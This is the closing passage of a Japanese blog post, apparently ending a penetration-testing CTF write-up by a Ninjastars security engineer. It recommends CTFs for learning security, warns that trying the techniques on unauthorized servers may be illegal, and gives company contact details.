ペネトレーションテストのCTFでは、Webアプリケーションの脆弱性からLinux内部の脆弱性まで様々な知識を学ぶことが可能なため、私個人としてはサイバーセキュリティを学ぶにあたって、とてもおすすめの学習方法であると考えています。(何と言ってもシェルをとれた時の嬉しさがやみつきになります。)

ペネトレーションテストやアプリケーション診断などをご希望の方は、ぜひ一度弊社にお問い合わせください!
ninjastars.ninja

注意事項

本記事に記載されている内容を許可されていないサーバーに対して実行すると、犯罪行為となる可能性があります。そのため、記事の内容を試す際には許可されたサーバーに対してのみ実施するようにしてください。

本レポートについて
お問い合せ
E-mail: engineer@ninjastars-net.com

株式会社Ninjastars セキュリティエンジニア
ミナト